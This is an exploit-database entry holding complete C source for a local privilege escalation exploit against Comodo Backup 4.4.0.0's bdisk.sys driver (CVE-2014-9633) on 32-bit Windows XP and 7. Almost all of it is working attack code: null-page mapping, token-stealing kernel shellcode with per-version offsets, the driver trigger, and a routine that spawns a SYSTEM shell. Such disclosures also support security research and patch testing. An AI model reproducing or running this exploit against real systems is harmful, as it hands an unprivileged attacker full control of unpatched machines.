Comodo Backup 4.4.0.0 - NULL Pointer Dereference EOP



EKU-ID: 4551 CVE: 2014-9633 OSVDB-ID: 112828
Author: Parvez Anwar Published: 2015-01-27 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/*
  
Exploit Title    - Comodo Backup Null Pointer Dereference Privilege Escalation
Date             - 23rd January 2015
Discovered by    - Parvez Anwar (@parvezghh)
Vendor Homepage  - https://www.comodo.com
Tested Version   - 4.4.0.0
Driver Version   - 1.0.0.957 - bdisk.sys
Tested on OS     - 32bit Windows XP SP3 and Windows 7 SP1
OSVDB            - http://www.osvdb.org/show/osvdb/112828
CVE ID           - CVE-2014-9633
Vendor fix url   - http://forums.comodo.com/news-announcements-feedback-cb/comodo-backup-44123-released-t107293.0.html
Fixed version    - 4.4.1.23 
Fixed Driver Ver - 1.0.0.972
  
  
  
Note
----
Does not cleanly exit, had to use some leave instructions to get the command
prompt. If you know of a better way please do let me know.
  
Below in from Windows XP in IofCallDriver function.
  
eax = 12h
  
804e37fe 8b7108          mov     esi,dword ptr [ecx+8]  <- control the null page as ecx = 00000000
804e3801 52              push    edx
804e3802 51              push    ecx
804e3803 ff548638        call    dword ptr [esi+eax*4+38h] ds:0023:00000080=00000090
804e3807 5e              pop     esi
804e3808 c3              ret
  
  
esi + eax*4 + 38h = 0 + 48 + 38 = 80h if ESI is null
  
  
*/
  
  
#include <stdio.h>
#include <windows.h>
  
#define BUFSIZE 4096
  
  
typedef NTSTATUS (WINAPI *_NtAllocateVirtualMemory)(
     IN HANDLE ProcessHandle,
     IN OUT PVOID *BaseAddress,
     IN ULONG ZeroBits,
     IN OUT PULONG RegionSize,
     IN ULONG AllocationType,
     IN ULONG Protect);
  
  
// Windows XP SP3
  
#define XP_KPROCESS 0x44      // Offset to _KPROCESS from a _ETHREAD struct
#define XP_TOKEN    0xc8      // Offset to TOKEN from the _EPROCESS struct
#define XP_UPID     0x84      // Offset to UniqueProcessId FROM the _EPROCESS struct
#define XP_APLINKS  0x88      // Offset to ActiveProcessLinks _EPROCESS struct
  
// Windows 7 SP1
  
#define W7_KPROCESS 0x50      // Offset to _KPROCESS from a _ETHREAD struct
#define W7_TOKEN    0xf8      // Offset to TOKEN from the _EPROCESS struct
#define W7_UPID     0xb4      // Offset to UniqueProcessId FROM the _EPROCESS struct
#define W7_APLINKS  0xb8      // Offset to ActiveProcessLinks _EPROCESS struct
  
  
  
BYTE token_steal_xp[] =
{
  0x52,                                    // push edx                       Save edx on the stack
  0x53,                                    // push ebx                       Save ebx on the stack
  0x33,0xc0,                                   // xor eax, eax                   eax = 0
  0x64,0x8b,0x80,0x24,0x01,0x00,0x00,                  // mov eax, fs:[eax+124h]         Retrieve ETHREAD
  0x8b,0x40,XP_KPROCESS,                                   // mov eax, [eax+XP_KPROCESS]     Retrieve _KPROCESS
  0x8b,0xc8,                                   // mov ecx, eax
  0x8b,0x98,XP_TOKEN,0x00,0x00,0x00,                   // mov ebx, [eax+XP_TOKEN]        Retrieves TOKEN
  0x8b,0x80,XP_APLINKS,0x00,0x00,0x00,                 // mov eax, [eax+XP_APLINKS] <-|  Retrieve FLINK from ActiveProcessLinks
  0x81,0xe8,XP_APLINKS,0x00,0x00,0x00,                 // sub eax, XP_APLINKS         |  Retrieve _EPROCESS Pointer from the ActiveProcessLinks
  0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,    // cmp [eax+XP_UPID], 4        |  Compares UniqueProcessId with 4 (System Process)
  0x75,0xe8,                                   // jne                     ---- 
  0x8b,0x90,XP_TOKEN,0x00,0x00,0x00,                   // mov edx, [eax+XP_TOKEN]        Retrieves TOKEN and stores on EDX
  0x8b,0xc1,                                       // mov eax, ecx                   Retrieves KPROCESS stored on ECX
  0x89,0x90,XP_TOKEN,0x00,0x00,0x00,                   // mov [eax+XP_TOKEN], edx        Overwrites the TOKEN for the current KPROCESS
  0x5b,                                    // pop ebx                        Restores ebx
  0x5a,                                                    // pop edx                        Restores edx
  0xc9,                                                    // leave
  0xc9,                                                    // leave
  0xc9,                                                    // leave
  0xc9,                                                    // leave
  0xc3                                                     // ret 
};
  
  
  
BYTE token_steal_w7[] =
{
  0x52,                                    // push edx                       Save edx on the stack
  0x53,                                    // push ebx                       Save ebx on the stack
  0x33,0xc0,                                   // xor eax, eax                   eax = 0
  0x64,0x8b,0x80,0x24,0x01,0x00,0x00,                  // mov eax, fs:[eax+124h]         Retrieve ETHREAD
  0x8b,0x40,W7_KPROCESS,                                   // mov eax, [eax+W7_KPROCESS]     Retrieve _KPROCESS
  0x8b,0xc8,                                   // mov ecx, eax
  0x8b,0x98,W7_TOKEN,0x00,0x00,0x00,                   // mov ebx, [eax+W7_TOKEN]        Retrieves TOKEN
  0x8b,0x80,W7_APLINKS,0x00,0x00,0x00,                 // mov eax, [eax+W7_APLINKS] <-|  Retrieve FLINK from ActiveProcessLinks
  0x81,0xe8,W7_APLINKS,0x00,0x00,0x00,                 // sub eax, W7_APLINKS         |  Retrieve _EPROCESS Pointer from the ActiveProcessLinks
  0x81,0xb8,W7_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,    // cmp [eax+W7_UPID], 4        |  Compares UniqueProcessId with 4 (System Process)
  0x75,0xe8,                                   // jne                     ---- 
  0x8b,0x90,W7_TOKEN,0x00,0x00,0x00,                   // mov edx, [eax+W7_TOKEN]        Retrieves TOKEN and stores on EDX
  0x8b,0xc1,                                       // mov eax, ecx                   Retrieves KPROCESS stored on ECX
  0x89,0x90,W7_TOKEN,0x00,0x00,0x00,                   // mov [eax+W7_TOKEN], edx        Overwrites the TOKEN for the current KPROCESS
  0x5b,                                    // pop ebx                        Restores ebx
  0x5a,                                                    // pop edx                        Restores edx
  0xc9,                                                    // leave
  0xc9,                                                    // leave
  0xc9,                                                    // leave
  0xc9,                                                    // leave
  0xc3                                                 // ret 
};
  
  
  
BYTE ESInull[] = "\x00\x00\x00\x00";        
  
BYTE RETaddr[] = "\x90\x00\x00\x00";        
  
  
  
int GetWindowsVersion()
{
    int v = 0;
    DWORD version = 0, minVersion = 0, majVersion = 0;
  
    version = GetVersion();
  
    minVersion = (DWORD)(HIBYTE(LOWORD(version)));
    majVersion = (DWORD)(LOBYTE(LOWORD(version)));
  
    if (minVersion == 1 && majVersion == 5) v = 1;  // "Windows XP;
    if (minVersion == 1 && majVersion == 6) v = 2;  // "Windows 7";
  
    return v;
}
  
  
void spawnShell()
{
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
  
  
    ZeroMemory(&pi, sizeof(pi));
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
  
    si.cb          = sizeof(si); 
    si.dwFlags     = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOWNORMAL;
  
    if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
    {
       printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError());
       return;
    }
  
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
}
  
  
  
int main(int argc, char *argv[]) 
{
  
    _NtAllocateVirtualMemory    NtAllocateVirtualMemory;
    NTSTATUS                    allocstatus;
    LPVOID                      base_addr = (LPVOID)0x00000001;                     
    DWORD                       written;
    int                         rwresult;
    int                         size = BUFSIZE; 
    HANDLE                      hDevice;
    unsigned char               buffer[BUFSIZE];    
    unsigned char               devhandle[MAX_PATH]; 
  
  
    printf("-------------------------------------------------------------------------------\n");
    printf("      COMODO Backup (bdisk.sys) Null Pointer Dereference EoP Exploit           \n");
    printf("            Tested on Windows XP SP3/Windows 7 SP1 (32bit)                     \n");
    printf("-------------------------------------------------------------------------------\n\n");
  
  
    sprintf(devhandle, "\\\\.\\%s", "bdisk");
  
    NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtAllocateVirtualMemory");
      
    if (!NtAllocateVirtualMemory)
    {
        printf("[-] Unable to resolve NtAllocateVirtualMemory\n");
        return -1;  
    }
  
    printf("[+] NtAllocateVirtualMemory [0x%p]\n", NtAllocateVirtualMemory);
    printf("[+] Allocating memory at [0x%p]\n", base_addr);
       
    allocstatus = NtAllocateVirtualMemory(INVALID_HANDLE_VALUE, &base_addr, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  
    if (allocstatus) 
    {
        printf("[-] An error occured while mapping executable memory. Status = 0x%08x\n", allocstatus);
        printf("Error : %d\n", GetLastError());
        return -1;
    }
    printf("[+] NtAllocateVirtualMemory successful\n");
  
    memset(buffer, 0x90, BUFSIZE);
    memcpy(buffer+0x00000007, ESInull, sizeof(ESInull)-1);
    memcpy(buffer+0x0000007f, RETaddr, sizeof(RETaddr)-1);
  
    if (GetWindowsVersion() == 1) 
    {
        printf("[i] Running Windows XP\n");
        memcpy(buffer+0x00000100, token_steal_xp, sizeof(token_steal_xp));
        printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp));
    }
    else if (GetWindowsVersion() == 2) 
    {
        printf("[i] Running Windows 7\n");
        memcpy(buffer+0x00000100, token_steal_w7, sizeof(token_steal_w7));
        printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_w7));
    }
    else if (GetWindowsVersion() == 0) 
    {
        printf("[i] Exploit not supported on this OS\n\n");
        return -1;
    }  
  
    rwresult = WriteProcessMemory(INVALID_HANDLE_VALUE, (LPVOID)0x00000001, buffer, BUFSIZE, &written);
  
    if (rwresult == 0)
    {
        printf("[-] An error occured while mapping writing memory: %d\n", GetLastError());
        return -1;
    }
    printf("[+] WriteProcessMemory %d bytes written\n", written);  
      
    printf("[~] Press any key to Exploit . . .\n");
    getch();
      
    hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
      
    if (hDevice == INVALID_HANDLE_VALUE)
    {
        printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError());
        return -1;
    }
    else 
    {
        printf("[+] Open %s device successful\n", devhandle);
    }
  
    CloseHandle(hDevice);
  
    printf("[+] Spawning SYSTEM Shell\n");
    spawnShell();
  
    return 0;
}